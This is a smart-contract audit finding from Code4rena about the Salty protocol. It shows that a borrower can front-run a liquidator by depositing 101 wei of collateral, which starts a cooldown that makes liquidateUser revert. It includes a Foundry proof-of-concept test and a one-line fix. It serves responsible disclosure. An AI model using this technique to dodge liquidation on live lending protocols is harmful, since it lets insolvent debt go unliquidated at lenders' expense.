Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Liquidity.sol#L107 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L70

Vulnerability details

Impact

NOTE: This is a different issue from the other one I submit regarding liquidation, this one is a different attack path although the same underlying cause.

The borrower can front run his liquidatable position to prevent liquidation. This will lead to the borrower buying time to repay, recollateralize or delay until price returns to levels where the position is collateralised again

POC Summary

When a borrower notices his position is insolvent
he adds collateral with at most DUST + 1 wei (101 wei) amount to activate cooldown
Liquidator calls liquidateUser(...) but it reverts because cooldown is now active
On the Negative side a borrower can use this to avoid being liquidated or can use this to buy time until he can repay the loan cooldown can range from 15mins to 6hrs and it is worse yet for higher cooldown periods

Coded POC

Add the following test case to the CollateralAndLiquidity.t.sol file and run COVERAGE="yes" NETWORK="sep" forge test --mt testLiquidatePositionBorrowerFrontrunsWithCooldown -vv --rpc-url https://rpc.ankr.com/eth_sepolia

function testLiquidatePositionBorrowerFrontrunsWithCooldown() public {

        assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 );

        assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
        assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
        assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

        // Total needs to be worth at least $2500
        uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
        uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

        emit log_named_uint("depositedWBTC", depositedWBTC );
        emit log_named_uint("depositedWETH", depositedWETH );

        (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
        assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" );
        assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" );

        vm.startPrank(alice);
        (,, uint256 aliceInitialAddedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );
        emit log_named_uint("aliceInitialAddedLiquidityIncrement", aliceInitialAddedLiquidityIncrement );
        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        // emit log_named_uint("initial maxUSDS", maxUSDS );
        assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" );

        // Deposit again
        vm.warp( block.timestamp + 1 hours );
        (,, uint256 addedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );
        emit log_named_uint("alice Increment Liquidity", addedLiquidityIncrement );

        // Account for both deposits
        depositedWBTC = depositedWBTC * 2;
        depositedWETH = depositedWETH * 2;
        vm.stopPrank();

        emit log_named_uint("alice total Added BEFORE borrow Liquidity", addedLiquidityIncrement + aliceInitialAddedLiquidityIncrement );

        // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
        vm.prank(DEPLOYER);
        (,, uint256 addedLiquidityIncrementDeployer) = collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false );
        emit log_named_uint("deployer's Increment Liquidity", addedLiquidityIncrementDeployer );

        // vm.warp( block.timestamp + 1 hours );

        vm.prank(alice);
        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

        vm.startPrank(alice);

        {
        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        // emit log_named_uint("maxUSDS", maxUSDS );

        collateralAndLiquidity.borrowUSDS( maxUSDS );
        vm.stopPrank();

        assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 );

        uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice);
        assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" );

        uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice);

        uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
        assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" );

        // Borrowed USDS should be about 50% of the aliceCollateralValue
        assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" );
        assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" );
        }

        // @audit 1 day passes before the price tanks
        vm.warp( block.timestamp + 1 days);

        // @audit position becomes under collateralized
        _crashCollateralPrice();

        // @audit add little of liquidity
        vm.startPrank(alice);
        (,, uint256 aliceInitialAddedLiquidityToFrontrun) = collateralAndLiquidity.depositCollateralAndIncreaseShare( 101 wei, 101 wei, 0, block.timestamp, false );
        emit log_named_uint("aliceInitial NEW TOTAL AddedLiquidityIncrement", aliceInitialAddedLiquidityToFrontrun + addedLiquidityIncrement + aliceInitialAddedLiquidityIncrement );

        // @audit borrower still cant borrow because he is not eligible despite added liquidity
        uint256 maxUSDSAfterFrontrun = collateralAndLiquidity.maxBorrowableUSDS(alice);
        emit log_named_uint("FINAL maxUSDS", maxUSDSAfterFrontrun );
        assertEq( maxUSDSAfterFrontrun, 0, "Alice doesn't have enough collateral to borrow USDS" );
        vm.stopPrank();

        // @audit 10 seconds after
        vm.warp( block.timestamp + 10);

        // @audit Bob's call to liquidate reverts
        vm.prank(bob);
        vm.expectRevert("Must wait for the cooldown to expire");
        collateralAndLiquidity.liquidateUser(alice);

        // @audit user can kep spamming until price returns to levels where the position becomes collateralised again
        // OR 
        // @audit user can use this to buy time to repay or recollateralise his position

    }

SUGGESTION

Modify the liquidateUser(...) function not to use the cooldown as shown below

Remove

_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

and Add

_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );

function liquidateUser( address wallet ) external nonReentrant
        {
        require( wallet != msg.sender, "Cannot liquidate self" );

        ...

        // @audit SUGGESTION: _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );
-       _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );
+       _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );
        ...

        emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS);
        }

Assessed type

Timing

code-423n4 / 2024-01-salty-findings

Borrower can frontrun liquidator to avoid liquidation of their insolvent position #999